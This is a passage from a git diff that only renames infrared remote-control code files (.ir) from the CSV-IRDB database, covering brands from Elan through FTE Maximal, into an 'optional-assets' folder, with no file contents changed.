assets/resources/infrared/_CSV-IRDB_/Elan/HD/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/HD/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/TV/135,34.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/TV/135,34.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Epson/Projector/131,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Epson/Projector/131,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir diff --git 